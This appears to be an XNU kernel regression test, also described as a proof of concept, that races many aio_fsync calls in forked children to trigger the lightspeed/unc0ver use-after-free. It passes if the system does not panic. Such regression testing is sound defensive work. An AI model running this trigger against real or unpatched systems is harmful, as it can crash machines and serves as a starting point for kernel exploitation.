1 /* 2 * Proof of Concept / Test Case 3 * XNU: aio_work_thread use-after-free for AIO_FSYNC entries 4 */ 5 #include <err.h> 6 #include <stdarg.h> 7 #include <stdint.h> 8 #include <stdio.h> 9 #include <stdlib.h> 10 #include <string.h> 11 #include <strings.h> 12 13 #include <sys/aio.h> 14 #include <unistd.h> 15 #include <darwintest.h> 16 #include <time.h> 17 18 T_GLOBAL_META( 19 T_META_NAMESPACE("xnu.fd"), 20 T_META_RUN_CONCURRENTLY(true)); 21 22 #define NREQUESTS 8 23 24 static void attempt(int fd)25attempt(int fd) 26 { 27 struct aiocb ap[NREQUESTS]; 28 size_t n; 29 unsigned char c; 30 31 for (n = 0; n < NREQUESTS; ++n) { 32 ap[n].aio_fildes = fd; 33 ap[n].aio_nbytes = 1; 34 ap[n].aio_buf = &c; 35 ap[n].aio_sigevent.sigev_notify = SIGEV_NONE; 36 } 37 38 /* 39 * fire them off and exit. 40 */ 41 for (n = 0; n < NREQUESTS; ++n) { 42 aio_fsync((n & 1) ? O_SYNC : O_DSYNC, &ap[n]); 43 } 44 45 exit(0); 46 } 47 48 T_DECL(lio_listio_race_63669270, "test for the lightspeed/unc0ver UaF") 49 { 50 pid_t child; 51 int fd; 52 char path[128]; 53 uint64_t end = clock_gettime_nsec_np(CLOCK_UPTIME_RAW) + 10 * NSEC_PER_SEC; 54 55 /* we need a valid fd: */ 56 strcpy(path, "/tmp/aio_fsync_uaf.XXXXXX"); 57 T_EXPECT_POSIX_SUCCESS(fd = mkstemp(path), "mkstemp"); 58 T_EXPECT_POSIX_SUCCESS(unlink(path), "unlink"); 59 60 T_LOG("starting..."); 61 do { 62 switch ((child = fork())) { 63 case -1: T_FAIL("fork"); 64 case 0: attempt(fd); 65 } 66 67 T_QUIET; T_EXPECT_POSIX_SUCCESS(waitpid(child, NULL, 0), "waitpid"); 68 } while (clock_gettime_nsec_np(CLOCK_UPTIME_RAW) < end); 69 70 T_PASS("the system didn't panic"); 71 } 72